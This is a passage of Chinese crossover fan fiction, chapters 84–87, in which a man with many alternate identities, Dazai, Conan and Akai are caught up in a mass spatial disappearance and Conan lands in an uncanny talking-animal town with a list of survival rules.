那群从横滨市出来的选择了跟随伊莎贝尔的黑手党们被裴真安置在另一个城市。他们开了一家餐厅,为往来的上班客们售出一些甜点和主食。仍然有很多人在盯着他们,其中包含着几位王的眼线、本土政府的势力、还有一些国外的间谍。领头的西尾粧倒是很沉得住气,他知道这些人是为何而来,也知道自己不动,就是对他们最好的应对,只是偶尔也会有些担心,担忧那位王是不是忘了他们。 奇妙的是,有人无法适应这样的生活,他们再次选择了堕入黑暗,与一些势力勾结在一起;也有人对此却是适应良好,每日制造甜美的食物,笑呵呵地迎接着到来的客人,对这样平静的生活产生了眷念。西尾粧一直都在看着,对此没做任何改变。 他知道,不是所有人都能成为那位王的手下的。与其后面再来处罚,不如一开始就进行一番筛选。这何尝不是又一个机会呢,只是这一次他们没有抓住罢了。 他们能从横滨市出来,还在所有人的眼皮子底下开启了新的人生,这本就是在无色之王的眷顾下了。西尾粧无情地想,有些人做梦都想要这样的机会呢! 裴真停下了手中的笔,他的创作已经接近尾声了。这本他写就的悬疑侦探小说并没有“借鉴”他原本世界中的故事,怎么说呢,在声望来处不缺的情况下,他还是愿意依靠自己来构思的。不是因为什么原则或自尊,纯粹就是他脑海中有些东西想要写下来。就算失败了也没关系,他能够去承受。 他不想去迎合某些东西,就算是金手指也是。 他低下头,将本子掩上。他走到窗户前,看着自己那张平静无奇的脸。这个身份同样也是一个马甲啊,但幸而他的脸还是他的脸,他伸出手,与镜中的自己手指触碰到一起。他们共同露出一抹笑。 时间往后流走,一场关于新的超越者的调查也在暗中秘密进行着。因为风祭野见也涉入其中,所以FBI是所有人最关注的一个势力,而赤井秀一则俨然成为了漩涡的中心。 那张请柬也被很多人拿去研究过,但在不损坏的情况下,他们什么也没调查出来。最后他们只能将它还给了赤井秀一。无端得罪一位超越者,这是一位有脑子的上位者都做不出来的事。 就是在这样的情况下,横滨市的武装侦探社中,迎来了一位新的奇特的客人。 太宰治这段时期中一直都很忙,准确来说,是在那个女人离去后,他就一直都没有空闲的时机。什么牛鬼蛇神都在那之后进驻了横滨,王权者中,最起码他知道的,就有赤之王与绿之王两位,黄金的那个倒是什么都不管,让他们不知道要如何应对这两位王者。 赤之王还好说,最多就是他的眷属们激进了一些,而绿之王……太宰治抬眸,一双眼中暗沉沉的。 “吱呀。”门被推开的声音。 “欢迎~”太宰治有气无力地说话。 但他只愿动嘴。在沙发上手脚抽搐了下,怎么也没办法突破沙发的“包围”,起身来迎接客人。 第84章 【规则国度的超越者】 “哦, 你是说你想要找到你的哥哥。”坐在办公桌后面的太宰治转动着手里的笔,百无聊赖地问。今日社里的众人各有各事,连一贯不出门的乱步也接到了一个案子, 太宰还以为自己可以好好地休息一番,谁知道刚躺在沙发上没多久,就来了这么一位奇特的客人。 说他奇特, 是因为这位客人的年龄。他最多只有八九岁左右,穿着一身牛仔的吊带裤, 软软的头发细腻中带着微卷,手里拿着一杯附近店里的水果牛奶, 穿着星星袜子和红色皮鞋的双脚正在椅子下有节奏的摆动着。 “咕噜。”我吸,喝牛奶的声音, 一双明澈的大眼睛正死死地盯着面前人。 “嗨嗨, ”太宰治丝毫不以为意, 他摆了摆手道:“我可不是什么骗子,这家侦探社也确实是这城里有执照的正规经营机构,只要接了任务, 就会将它办好。不过在此之前, 有一个前提……” 对着孩子疑惑的眼神, 太宰治收敛了散漫, 他十指交叉,抵住下巴, 像极了某位港口首领从前的样子:“那就是, 你得有钱。” “想要人做事,就得付人工资啦。”太宰治也不再装了, 他坐在旋转椅上,转了个身, 用手做驱逐状道:“这可是成年人的社交法则,你一个小孩子没有钱,这可是很难办的。要不你还是回去家里,问问你的父母好了……” 小孩子摸了摸兜里,从里面掏出一张银行卡,递给他道:“这些,够了么?” 太宰治的动作顿住了,良久,检查完了的他问:“你的这些钱是哪来的?” “是爷爷给我的,”孩子说:“爷爷去世前,说这些钱是留给我上大学的,还有之后我每一年的压岁钱也都存进里面了,除了这些,我就一分都没有了。” 太宰治苦恼地揉揉脑袋:“要不你还是回去找你家大人商量……” “不要!”小孩子突然大声道:“大人都是没用的大人,爸爸说了,‘这个世界之所以烂成这样,就是因为坐在位置上的人什么也不肯做,不肯做还不愿让位,就是一群吸血的蚂蟥。’他还说……” “咳咳,”太宰治连忙打断他,一边还在心里埋怨,现在的人在孩子们的面前还真是什么都敢说,他道:“那你是怎么找到这里的,为什么会找我们?” “因为你们是超能力侦探社,”说到这里,孩子两眼放光,“我都看到了,你们的侦探在破案时,衣服是可以飘起来的!”原来是你的锅,乱步。 “还有就是,我的哥哥,就是在这座城里消失的啊。” “什么时候?” “十年前。” 侦探社里的交流淡去,远在日本的一家电视台中,一位碎发凌乱的年轻的男人正在打电话。他面目俊朗中带着不羁,一身时尚潮流的装扮将他的身材很好地勾勒出来,他有些不耐地转了转手腕上的皮链,对着电话那方道:“……你们够了啊,为什么在你们搞事的时候,我还要去进修学习,都半年了,出来了还说要开辟什么新赛道……” 他的声音也很好听,清朗中带着年轻人特有的活力。他松了松自己的衣领,露出一小片洁白的锁骨。有不少的目光若有若无地飘向他那里。 “因为本体没有抽出‘唱歌’的技能。”另一边的人很从容地说。 年轻的男人呲了呲牙:“我记得,这张卡最初的身份是一个黄毛骗子吧?” “所以要找出其它的价值啊,”另一边的人好像很惊讶他能问出这样的问题:“否则的话,你难道要真的去到大街上做一个混混?” “本体用你的身份离开横滨,又恰好在之前被一位星探看中,”另一人说:“用一分的努力,得到十分的收获,这就是我们这些分体赚取声望值的一些小秘诀,做偶像是一个非常适合我们的道路,收获巨大,做到顶流,说不定就能有伊莎贝尔那样的成果。而且你还不是她那样一锤子的买卖,是能够持续很久的进项收益。也许到了最后,我们这些人还要靠你来带飞呢!” “不要再给我画大饼了,”年轻人翻了个白眼,他笑道:“是啊,这么好,为什么你们不也来出道呢?还有,我学的只是‘唱歌’,可没有说要上什么综艺。我一个歌手,上什么室外综艺?” “那是因为你现在还没有找到一个爆火的点,”对面的人好像有着无限的耐心:“在那之前,你要多多在观众们面前亮相,让他们熟悉你的存在,积蓄力量,等到时机一至……” “是啊,”年轻男人道:“你为了这一点,还特意拨款进了娱乐圈,收购了一家娱乐公司。现在我经纪人都开始怀疑,我是不是和望川财团有着什么不得了的关系,他还让我注意一下,不要在后面爆出类似‘包养’之类的丑闻。” “噗哈哈哈哈!”对面传来望川涉压抑不住的笑声。这一边的年轻人,裴真名为“柳生明澈”的马甲面无表情地听着。 “好了,你尽量努力去做吧。”笑声终于停了下来,望川涉现在换回了自己白天里的身份,他坐在一栋豪华别墅的餐桌旁,管家和女仆被他驱散到了另一个房间,面前是刚烹饪好的西式的美食,他道:“不用担心,不会有这样的传闻暴露出来。” 他微微眯起眼睛,华贵的财阀公子的气质下,一丝危险的气息逐渐流露,他道:“本体可不是要你去经历一番娱乐圈上位搏杀的。你只用出名就可,要出大名。有那么多铺垫,你如果还要走如其他人那般的寻常路,我会怀疑我们存在的意义。” 柳生明澈深吸口气:“我知道什么是最主要的,不需要你来提醒。还有,这些手段你在我这边使可以,可千万不要用在本体身上。我记得他现在想要出版一本书?” “当然不会,”望川涉说:“就算被人知道我与你有关系也没什么,甚至是马甲与马甲之间,只要理由正当,牵扯在一起也可以。当然,我们会尽量减少这些。对于本体而言,我们出来是为了给他减少麻烦,而不是将麻烦带给他。” “不过,现在也和以前不一样了。”望川涉的语气悠然:“强大者自有选择的余地,一切都要看本体自己是怎么想的。” “随心即可。”柳生明澈回答得也很干脆简洁,就像他们说的,他们存在的意义,不就是让主体能够选择自己的路吗? 裴真知道自己这两位马甲之间的交流,虽然他们的自主性已经比从前高了很多,但那种奇妙的联系自始至终都不曾断绝。已经报了仇,又有了新的马甲,裴真开始想,自己是否要让新的自己出现在众人面前。 那个自己很特殊,不是身份上的特殊,而是能力上的独特。 如果不是[白银·珍物]【异空间】这张卡,裴真说不定还不会让那个自己就这样诞生。给他的能力卡很危险,组成的异能力虽然有了限制,但本质上的异常根本没有改变,说他是超越者,是因为裴真认为,若他彻底放开自己,确实能左右一场战争的胜负。 似乎是感知到了他的烦恼,一间温暖和煦的小房子中,房屋的主人轻轻笑了一下,他修长白皙的手指间正端着一杯冒着热气的午后红茶,面前的小圆桌上,是一碟精制的可露丽点心,旁边的桌台上,插着一支刚摘下来的灿烂的野菊花。墙面上有星星月亮的可爱图案,壁炉也十分干净精巧,旁边的小沙发上,还堆放着一个柔软的抱枕。 一只浑身彩色的鸟儿正站在栖木上,小黑豆一样的眼睛圆溜溜地睁着。阳光从小窗户中穿透进来,将屋内照得暖洋洋的,屋内的角落里堆放着一堆积木的玩具,棕色的书架上摆着一些罗列得很整齐的书。木门上方是圆弧形的,后方设置着一些装饰品。从窗内望去,外面是一个花开的正鲜艳的小花园,矮矮的栅栏将整个居处围起,由一条石子砌成的小路将它分开,直至延伸到更外面的世界。 这里好像是一处童话里的居所,屋子的每一处,都无一不在透出一种童稚般的趣味,住在这里的人,一定是无有烦恼、无有任何忧愁的世外的人吧? “叮。”主人家将喝完的红茶放到了杯碟上,他微微低头,翠色的发丝从肩上垂落而下,他笑了起来,笑声如森林里潺潺流动的溪水,他道:“八哥,我要外出一趟了。” “在这期间,会有客人到这里来拜访。你要帮我好好招待他。”他轻声叮咛。 栖木上的彩羽的鸟忽然振翅想飞起来,它一开口,就是一道沙哑难听的叫声:“外出?主人您要去哪里?” “去一个很远的地方。”主人说,他站起身来,身形颀长,因为角度原因没看清面目,但他的声音很柔和,一举一动也都带着股宁静的清雅,他温柔嘱咐道:“客人是我很重要的人,你一定要听他的话,不要忤逆他,要好好招待他,用最鲜美的果子和最甘甜的水来招待他,不要让他不愉快。” 八哥很振奋地踩来踩去,它嘎嘎叫道:“客人,客人,招待,招待,用果子和水。八哥会听话的,主人要快快回来!快快回来!” 主人满意地点了点头,他穿上外套,拿起一边衣架上的一顶帽子,推开门,就这样走了出去。一只黄色的田园狗感受到了他的气息,吐着舌头摇着尾巴从旁边蹭了过来,他伸出手,揉了揉它的狗头,又继续向着石子路外走去。 一切都恢复了寂静,阳光仍旧灿烂温和,但,暗地里,好像有某种东西在悄悄改变了。 裴真蓦然睁开眼睛。眼前又是新的一天了,他有些疲累地从床上爬起来,洗漱一番,就准备去吃外面打包好送来的早餐。来送早餐的是一个普普通通的小个子的少年人,见到他这个点才起来,他忍不住道:“把线人当做外卖员来用,你还真是‘物尽其用’啊!” 裴真打了个哈哈,他一点也不在意道:“这不是挺好的吗?反正我又没有什么紧急的案子要破,你平日里不是闲的发慌吗?” “对了,你今天叫什么名字来着?”他问,打断了他接下来的话。 “外卖员”默默地看着他,良久,才道:“今日我叫做‘羽贺茂’,别忘记了。” 第85章 突然的消失 【线人】是一位他在之前抽到过的卡牌, 卡牌内容强调了一下“他”的神出鬼没,没有表明他更多的信息。 “好的,羽贺。”裴真对于他这位时常换名字的线人接受度良好。 用完了早餐, 裴真就去处理侦探社里的事了,最近他开始接一些跟踪与寻人的委托,这让他接触到了更多剧情外的人, 与柯南他们的联系也稍稍浅淡了些。 他就像是个已经接受自己新生活的年轻侦探,学着去处理各种的事业。侦探并非每一位都是才捷妙思的人物, 更多的都是处理一些日常的琐事,然后从中获取一定量的钱财。真的要说, 工藤新一那样的高中生侦探,才是他们中的少数, 要兼具智商与背景, 还能有一定的机缘——与刑事案件的缘分。 没有人想到, 这样一个人,会是“无色之王”。 他就像是站在一场剧目外,看着自己扮演的人和台上的人你来我往。有些时候, 他也会想, 自己是真的在冷静看待这一切, 还是已经沉浸到其中, 因众人皆醉而独醒,产生了不自知的倨傲之意? 不, 他没有这些。因为他从一开始来到这世上, 是陌生与恐惧驱使了他行动,而直到现在, 他才稍稍松了口气。做出马甲,也是出于此因。他一直都没有忘记这一点。 他思考完这些, 就将注意力放到一件新的委托上去了。 ………… 太宰治在检查一处街道。这里是横滨市中一个平平无奇的巷里,一侧是高高建起的居民屋外围墙,一侧是长到有半人高的草丛与灌木丛,街道并不长,有一个拐角,环境十分幽静,看样子是很长时间都不会有人到来的角落。 太宰治穿着他那件惯常的风衣,双手插进兜里,打了个哈欠道:“就是这里吗?” 小孩子牵着他的衣角,一只手拿着一根棒棒糖,一边有些犹豫地说道:“应该是的。” 太宰治斜视了他一眼,“我说你不要抱太大希望,都已经十年了,就算有什么线索,也早就断了。你说过,你爸妈起先也找了,只是一直都找不到,后来才搬家离开了这里。” 他说完,就来来回回在这条巷子中走了好几遍,但看他懒散又不曾细究的样子,很难让人相信他真的有在认真检查。他走回来,对小孩子说:“可以了,这里没什么线索,你还有其它的东西吗?” 小孩子死死皱紧眉,最后还是拿出另一样东西。 这是一段极为模糊的影像,里面的环境与这处很相似,只是旁边的房屋比这里的要低矮老朽许多。另一边草丛的位置也是一处老式的居所。录像里的时间是下午两点三十多分,一个与身边这孩子差不多大的身影正在往里面走,他背着一个书包,像是刚放学的样子。 他走入了拐角处,身影消失不见。而之后,便是另一个角度的影像了。从两点三十到之后的四五十分钟内,没有任何一个身影从对面走出,就好像他只是进入了,但这条街道并不负责让他出来。 “滋滋。”太宰治又点了数次这段录像,并将它快放慢放好几遍,最后,他深深地看了眼这录像中的内容,摸了摸下巴,对着小孩道:“这应该是警方调查出来的东西吧?” 小孩子一口咬下棒棒糖,有些天真道:“我不知道呀,这是我从爸爸和爷爷那里找到的。” 这一次太宰治没那么敷衍了,但从他的表面上也看不出他的认真,他抬头寻找了下四周的监控,最后得出结论,“这应该是那个时候私人拍摄的,无意间将这些拍了进去。这点倒是没什么,只是这个失踪……” 他的面上浮出了一缕笑:“可不是什么熟人绑架拐卖之类的……” “砰!”城中忽然传来遥远的爆炸的声音,太宰治的脸色瞬时就沉了下去,之前的想法被阻断,他有些厌烦:“这两帮家伙真不知道什么叫休停吗?” “森先生也真是无用,”他在心里想:“被削了一下后,连城市‘夜晚’最起码的秩序都维护不了了。黑手党还有什么存在的意义呢,干脆都抓起来算了!”他轻轻“啧”了一声。 ………… 赤井秀一和降谷零在对峙。FBI在日本的据点有很多,但大都是不能让人知道的,尤其是像降谷零这样的公安成员。赤井秀一是在来到日本后才收到请柬的,于某一日的清晨,它就这样悄无声息地出现在他床头,没有动静,也没有脚印。据那位刚坐上FBI高层的领导所说,那位超越者的能力相当危险,这一封请柬不仅是个邀请,也是个考验。 他还想要问更多,但那位领导就不再说了。他说他们二者其实也没怎么接触,赤井秀一是第一个接到他请柬的人,他也不知道接下来会发生什么。 赤井秀一已经检查过了,这封请柬上并没有什么问题,那么危险就只有可能是即将到来的事。 日本方面不可能对这样的东西视而不见,除了超越者本身之外,他所带来的变数也很有可能对他们造成巨大的影响。“能影响国家的人”,这样的称谓可不是说说而已。 这段时间,公安一直在监视他。降谷零就是其中最堂而皇之的一位。他目睹过一切,知道内情,又刚从黑衣组织的漩涡中脱离出来,与赤井秀一有过交流,正是监视他的不二人选。 “要写下名字,还是撕碎它?” 出声的是朱蒂,她与詹姆斯,是自己在这个国家中为数不多的朋友与同事。他等了好久,一直等到今天,才终于从它之中得到了一种感觉,“是时候了。”请柬的主人在邀请他。 “什么也不用做。”看着已经开始微微发光的请柬,赤井秀一目不转睛地说:“撕碎请柬是对主人的不尊重。” 朱蒂的担忧溢于言表:“真的要这样做吗?让另一个人过去不行吗?” 詹姆斯摇了摇头,替赤井秀一回答:“重要的不是请柬,是那个时候秀一答应下的承诺,那位超越者不是傻子,欺瞒他只会招来他的怒火。” 赤井秀一理了理心,看着手里的请柬发出的光越来越亮,但始终都很柔和,他轻声道:“我为响应承诺而来。” 恍惚间,他好像看见了有一层涟漪在他的面前被掀开,透过它,他似是感受到了另一层的空间。他的身体被吸引着上前,无法抵挡这种力道。 可就在这时,透过某种神秘的联系,他忽然听到了一声突兀又兴奋的大叫声:“哈哈,我抓到你了!” 吸力瞬间崩毁,之前的平静被打破,在外的朱蒂和詹姆斯感受到了一股刺目的亮光,周边的空间也开始动荡起来,隐隐约约的,物品在他们的视线中被扭曲,他们的面上染上了骇然。 “发生了什么?”严厉的质询声在他们耳边响起,原来是那个最近一直在监视着他们的日本公安,他不知何时跑到了他们身边,目光中流露出了杀意。 “我们也不知道,”詹姆斯急忙回答道:“刚开始还是好好的……” 朱蒂更冷静一点,她说:“这好像应该不是我们的问题……” “停下来!”降谷零看着这一幕,飞快地想要上前。但赤井秀一已经完全听不到了,在那个声音后,他好似承受了最正面的一波冲击,整个人霎时就陷入了昏迷。而紧接着,这道变故瞬间扩散,几微秒时就笼罩了周边数百米的距离,不待人反应过来,它又刹那收缩,从数百米缩成了一个点,在稍作停顿后,彻底消失在空气里。 只留下一个空荡荡的房间。之前还在这里的朱蒂与降谷零他们三人,也同样完全消失不见。 根本不需多久,日本的警报铃声就大声鸣响,一道讯息被极速传达了上去:“米花町中,以某个被监视目标为中心点,周围几百户的人,全部都消失不见了!” 上级瞬间失态,他匆忙地看过了消息,最后咬牙道:“去请示御柱塔……还有,去联系FBI,让他们给我们一个交代!” 外面的混乱先不用说,这一次的事件估计不在很多人的预料中。对于太宰治来说,他也没想到,自己只是调查一件与现在相隔十年的失踪案,也会遇见完全不想遇见的人,并且,在一阵奇特的涟漪后,整个人像是遭受了一记重锤,陷入到了昏迷中。 “糟糕,这是空间的波动……” “我就知道,在这里有其它的空间!”沉睡前,他好像还听见了谁熟悉的声音:“上次的时候找不到,这一次你终于出来了!” 他的心底闪过一个名字。紧接着,他就彻底什么都不知道了。 而如果他能知道另一座城市中发生的事,就会惊讶地发现,他与那些被波及到的人家,其实是在同一时间消失的! 可没有人发现这一点。只有一个孤零零的小孩子还在道路口等待着,等着穿风衣的侦探为自己带来好消息。 ===== 柯南不知道发生了什么,他只感到有一阵波动扫过,自己就陷入了昏迷。不知道时间,等他再次醒来时,就发现自己是到了一个陌生的地方。这里不是城市,倒像是一个乡镇。 “发生了什么?”他有些不明白,但很快,他就意识到,发生在自己身上的事恐怕不是个例,他的神情严肃起来。 第86章 与人汇合 头很痛, 但更担心的,还是有可能也被卷入到这一次事件中的小兰和毛利叔叔,还有其他人, 如果他没有猜错的话,这次事件很可能是范围性的,自己只不过是被波及者之一。 他一边想着, 一边迈开小短腿往前走。 他躺倒的地方是一处小树林,周边是郁葱的树木和一条往外延伸的小路, 小路上有人行走过的痕迹,他没有走多远, 就见到了一处聚集地。 在一个陌生的地方,人总是会想要与同类待在一起, 柯南也不例外。他非常想弄清楚现在的状况, 这让他能够尽快找人来解决这一次的事, 如果可以,影响到的人越少越好。 但当他距离那个城镇模样的地方愈近,他脚下的步伐就愈缓慢。直到他看到了第一个正在行走的活物, 他的双眼睁大, 几欲以为自己是在幻梦中。 “嘿, 外来人, 你是我们这一次的客人吗?”有一个猴头猴身的怪物突然凑到他身边,它挠了挠脑袋, 用人类的语言, 像人一样,仔细地盯着他发问。 柯南的呼吸都快要静止了。这一刹那, 他的脑子里什么都没想,前所未有的, 他所有的观念都被击破了。+79 ………… 小镇就叫做小镇,它没有名字,不会被叫作XX小镇,在镇中居民的眼中,这座小镇就是他们生活的全部,在小镇之外,是不会有另外一个居住之所的。 这里的环境也很幽宁,居民们生活井然有序,道路两侧是高矮不一的房屋,但每一栋都很整洁精致。有飘出香甜气味的面包房,玻璃橱窗后,是浣熊店主系着围裙在努力工作;松鼠小哥在蹦蹦跳跳地将一封书信递给一个蘑菇头的信箱;熊女士挽着一个菜篮,里面放着的是她今日为家人采购回去的蜂蜜与竹笋……几十个动物们来来往往,每一位身上都穿着人类的衣服,它们就真的像一群人类一样,在这座小镇中各司其职地活着,柯南甚至还看到了一只抱着一捧花在售卖的幼年小羊。 柯南抬头望了望天,发现天空也和他见到过的一样,有棉花糖一样的白云和温暖的太阳。他深吸口气,竭力让自己不露出异样。身边的那只猴子还在上蹦乱跳地与他说话:“你是第一次来这里?你看起来和我们所有的动物都不一样,话说,你是我们猴子的远亲吗?为什么除了头上的一点,其它的地方都没有毛,你是新出来的品种,是叫无毛猴?” “你……真的是我们镇上的客人吗?”他又问起了自己最开始的这句话,整只猴显得有些诡异,柯南心中一动,他想了想,还是假装自己正在打量这座城镇,没来得及察觉到它的异样。穿着驯兽师服饰的猴子忍耐不住了,它高高拉长自己的身体,用尾巴将自己倒掉起来,堵在柯南前进的路上,迫使他的目光不得不集中向它。 柯南心生寒意,因为他无法理解,眼前这个东西,是怎样将自己拴在空中的,它的尾巴分明没有勾住任何东西!它直直看着自己,那种目光,让他毛骨悚然。 这里的异常很快吸引了“人”们的注意力,但人们惊讶的不是柯南与他们不同风格的长相,而是猴子阻拦住他的路。一只白色长耳身穿制服的兔子往这边走来,它手里拿着一根类似警棍的东西,体型小巧,耳朵纤长,白色绒毛的脸上有一簇鲜红的、类似地狱之花般的纹路,它走到跟前来,看了看柯南,又看了看猴子,问道:“发生了什么吗?” 这声音是女声,这只兔子是位女性,但其实从外表上也能看出,虽然穿着制服,但它的体态和面目,都具有一种柔性之美。 猴子一瞬间就萎了下去,他嘿嘿笑了起来,尾巴在后面不停得绕动,它道:“我这不是在给我们新来的人带路吗?只是有些问题想问他,可没做什么事……” 柯南已经没管它们在说什么了,因为他终于……终于,在这个光怪陆奇的世界里,第一次看到了自己认识的人,他飞快地一矮身,从猴子与兔子们之间跑了出去,跑到一座茶室里,在那人讶异的目光中,兴奋地低喊道:“天野,你也在这里!” 天野鹤,即裴真,放下了手中的茶杯,他也有些惊讶:“柯南,你也在?” 柯南很小心地看了看两边,他道:“你知道这是哪儿吗?” 裴真默了默,说:“我一醒来就在这里了,一开始,”他看向柯南的身后,在那里,那只兔子驱逐了猴子,正在向他们而来,“我还以为我是在做梦。” “是啊,”柯南也认同:“谁不会以为这是在梦中呢?”他喃喃道:“这太疯狂了,一座动物之城……” “砰。”一根棍子被敲在桌面上,随后,那只兔子就来到了他们身前,它说:“你们是外来者吗?” 柯南刚想要说些什么,就被裴真制止,只听他率先开口道:“我们是外来者,但我们也是这座城镇中的客人。我,和他都是。” 听出他语声异样,柯南就住了嘴,他若有所思地看着裴真,又看向了这位兔子小姐。 “哦,”兔子仔细地打量了他一小会,没有再问这个问题,它转而去向店主要了一杯茶,然后道:“看来是我误会你们了。”它将短棍放下,“不过,既然是客人,那为什么还没找到居住的地方?在晚上之前,去找到住宿的地方吧。否则的话,被当成不速之客就不好了。” 它说完这句话就离开了,似乎过来就只是为了确定一下他们的身份,再叮嘱一句。柯南有很多想问的,但在裴真与兔子简短的交流中,他意识到了什么,到最后也一句话都没开口。直到它离开了,他才将疑惑的眼神投向裴真。 “你没有过吗?”裴真小声说:“从来到这个镇上后,遇到的每一个动物,都会问我是不是这个镇子的客人。” 柯南反应过来:“那猴子…它问了我两次。”但都很隐蔽,从它上下话语的衔接来看,没什么不对之处。 “在这种奇怪的地方,”裴真抱起茶,慢慢说道:“警惕心要拉到最大。而且,从前的观念也要暂时放下,毕竟,以前的我们绝想不到,动画里的场景会有一天落到现实来。或许在这个地方,身份是一个很重要的东西,所以,”他轻声说:“既然说是‘客人’没有招致灾祸,那么,我们就要——” 柯南心领神会:“我们本来就是突然来到这里的‘客人’。” 裴真点了点头,二人相视一笑,柯南一直提起的心,也稍稍放下了些许。但紧接着,他的眉眼又添上了一抹肃然:“这个地方很奇怪,我怀疑,过来这里的,恐怕不只有我们两个人。” 裴真也皱起了眉,他知道这一次的事只是意外,他叹道:“我之前是接了一个委托,帮助一位女士去找到她遗失的一件东西,距离侦探社并不远。” 柯南也道:“我是在自己的房间里休息,今天不是上学日。” 他托腮思考:“如果不是随机取人,恐怕在你我之间的,都是在影响范围内。并且,我们还不知道,这个范围到底有多大。” 裴真摇了摇头:“可是,我已经醒过来有一段时间了,但除了你以外,没有见到其他人。” 柯南陷入了思索。稍过一会,他放弃了缺少线索的思考,他道:“我们还是先去查找我们为什么会来这里吧,然后找到离开的办法。这样一来,不论是带着其他人一起走,还是后面让人来救,都有选择的余地。” 裴真点了点头:“也只能这样了。我们应该按照那位兔小姐所说,去找到一个可供过夜的地方。就算是城市中,夜晚也并非是绝对安全的,更何况是这样一个诡异之处。” 柯南心中一凛,他脑中思绪太多,一时竟没想到这一点,如果“客人”是一个身份,那么“不速之客”莫不就是另一个?现在的白天就隐隐向他透露出危险,那么到了夜晚……柯南不敢再想,他急忙说:“你知道这里的旅馆在哪吗?唔,你有这里的货币吗?” 裴真有些无语地看着他。谁会在刚来这里没多久,就拥有足够住宿的钱啊?他说:“你跟我来吧,我在你来之前,就将这附近稍微逛了逛,如果我没记错,旅馆就是在这个方向……” 他一边往前走,一边为柯南指路,但下一瞬,“小心!”柯南突喊。 一个黑色的身影突然从侧面撞来,裴真微微睁大眼,他的手指稍稍动了下,还是尽力往旁边移开身体。 “你没事吧?”柯南迅速小跑过来。 “没事。”裴真揉了揉自己的手臂。 “走路要看路!” 还没等他们开口声讨,那个撞过来的“人”,额,应该说是一只“黑豹”子就十分冷淡地开口,它身躯高大矫健,面上是纯然的黑色,一双乌眼只轻轻瞥过他们一眼,就毫不客气地走掉了。 “可恶,明明是你自己撞过来的!”柯南咬牙握拳,十分生气。 裴真面上闪过一缕古怪。他将手按在柯南的肩膀上,“先别管它,我们还有自己的事要处理。” 看看这天色,如果他们再不将住宿的事处理好,恐怕就要在外面度过夜晚了,这可不是一件好事。 更何况,他其实并不怎么疼。那人在撞过来的时候,收敛了力道,再加上他又躲了一下,落在他身上的,就更没剩多少了。 他微微低头,看着自己手里的一个纸团,纸团皱巴巴的。这是他在刚才还没有的,但等到这“人”过去了,手中就多了这么一个东西。 他没有贸然开口。等到去到旅馆,用一个随身的物品换来一间房一晚的使用权后,他才慢慢地在柯南面前将手掌摊开,将这件事告诉他听。 “你是说,这东西是那只豹子给你的?”柯南很惊讶。 “不错。”裴真说。 柯南凝重道:“我们之前在这里可不认识什么动物‘朋友’啊。”他的心中蓦然有了个猜测,如果是这样,那么…想到某种可能,他的心底生出了惊涛骇浪。 “别管那么多,我们就先来看一看吧。”裴真打断了他的思考,他一边说着,一边将手中的纸张慢慢捋平,直到上面的几行字完全映入他们的眼帘。 第87章 另一方的进展 这是一张像是随便哪一个记事本上撕下来的纸。上面写下了几排话。 “1. 小镇欢迎客人的到来, 不要被发现你们不是客人。 2. 不要向红兔警官询问她的过去。 3. 不要吃生肉。 4. 要多吃蔬菜。 5. 当镇子里出现不认识动物的时候,赶紧杀死它。 6. 小镇的居民没有第二种形态,如果碰见了, 赶紧打断它,没法打断就迅速远离,去找红兔警官解决这件事。 7. 大灰狼是好的, 但你们很难遇见它,一旦遇到它, 不论它对你们做什么,都不要反抗。 8. 夜晚是危险的, 晚上的时候一定不要出门,也不要看窗外。听见任何动静都不要理会。 9. 要尊敬镇子的主人, 祂喜欢安宁, 不要去打扰祂。” 裴真与柯南看完了这些字, 一时之间,两人头上都闪出了一个问号。 “这些是,”柯南不确定道:“有人对我们的提醒?” 裴真检查了一下纸张, 反面并没有写下任何字, “如果是警示的话, 幸好我们都还没有违背第一条和第八条, 只是……” 柯南说:“只是不知道这些到底是真的,还是有人在戏耍我们。” “先假定它们是真的, ”裴真说:“那么, 违背它们的后果是什么?” 柯南深吸口气:“不要轻易去尝试,这个地方太诡异了, 我们无法料定代价。” 裴真若有所思:“这个镇子中看起来是有着一种约定俗成的生存方式的,它隐藏了很多的东西, 但有些提醒对我们来说不是那么友好。”他指向了其中第五条:“不认识的动物,它大概指的是以前从来没在镇上出现过的动物,但对我们来说,现在碰到的每一个,都是不认识的。” 柯南赞赏地看了他一眼,看来你这“捉猫侦探”终于不再装了,他清咳了一下道:“还有这里,第二条,红兔的‘她’和其它的‘它’都不一样,这在表明,这位红兔警官,很有可能有着一段完全不同的过往。”他意味深长地说。 “可我们不能去询问她的过去啊。”裴真迷惑地说。 柯南的脸色一下子就暗了下来,但很快,他又重新道:“还有这里,最后一条,‘镇子的主人’,说明这个地方是有主的,不论我们是因为什么来到这里,他肯定知道很多东西。另外,我们想要离开此处,说不得就要从他那里寻到方法!”说到后面,他有些激动。 日语中的“祂”是与“他”没有区别的,所以他们顶多能看出,小镇的居民对于镇子的拥有者应该很尊重。 “但规则让我们不要去打扰他。”裴真继续说。 “那就说明,我们并非是要绝对遵守每一条规则!”柯南的眼中闪过波光,他指向其中一条:“你会让人对你做任何事都不反抗吗?如果它想要杀死你呢?” “还有,”他推了推眼镜说:“如果这几条的规则确实都是真的,但里面,就恰好隐藏了一条假的呢?” “我们侦探,可从来都不是被规则限定的一群人,”柯南轻声道:“有些时候,墨守陈规,往往会让一些很重要的线索从手中溜走!” 他就这样盯着裴真,裴真也默默盯着他。最后,裴真只好叹了口气道:“好吧,我们确实应该去尝试着找出一些东西。”柯南脸上露出了笑。 “不过,最好还是以安全为上,”裴真说:“在没有确凿依据的情况下,不要轻易去违反规则。” “另外,我们现在应该睡了。” 柯南点了点头,很快爬上了一边的床。他以为他会在这个怪异的地方睡不着觉,但其实,经历了白天的变故,和激烈的观念上的变化,还有后面快速思索的他,很快就陷入了深沉的睡眠。在这一夜里,他们没有遇见什么古怪的事情。 “沙沙沙……” 深夜,无人的街头,一个高大的身影在拖着一样东西行走,它的肢体粗壮,倒映在地面上的影子扭曲又狰狞,它的步伐缓慢,呼吸声粗喘,每一下仿佛都踏在了人的心尖上。 暗处的人连忙侧过身体,他屏住呼吸,目光低垂,不敢再看,试图隐藏自己的存在。但并没有用,黑影仿佛察觉到了什么,它将目光偏移向那个方向,残忍的幽绿之光扫过,让被找寻的人头皮都开始发麻。 “遭了!”几乎是下一瞬,他就意识到了自己已经陷入了危险,空荡的街道中此刻只有被拖拽的东西孤零零地躺在地上,他飞快地从袖口中抖落一把枪,与此同时,身形飞快地暴退,像离弦之箭一般往另一边奔去。 “砰!”一声枪响惊动了黑夜。 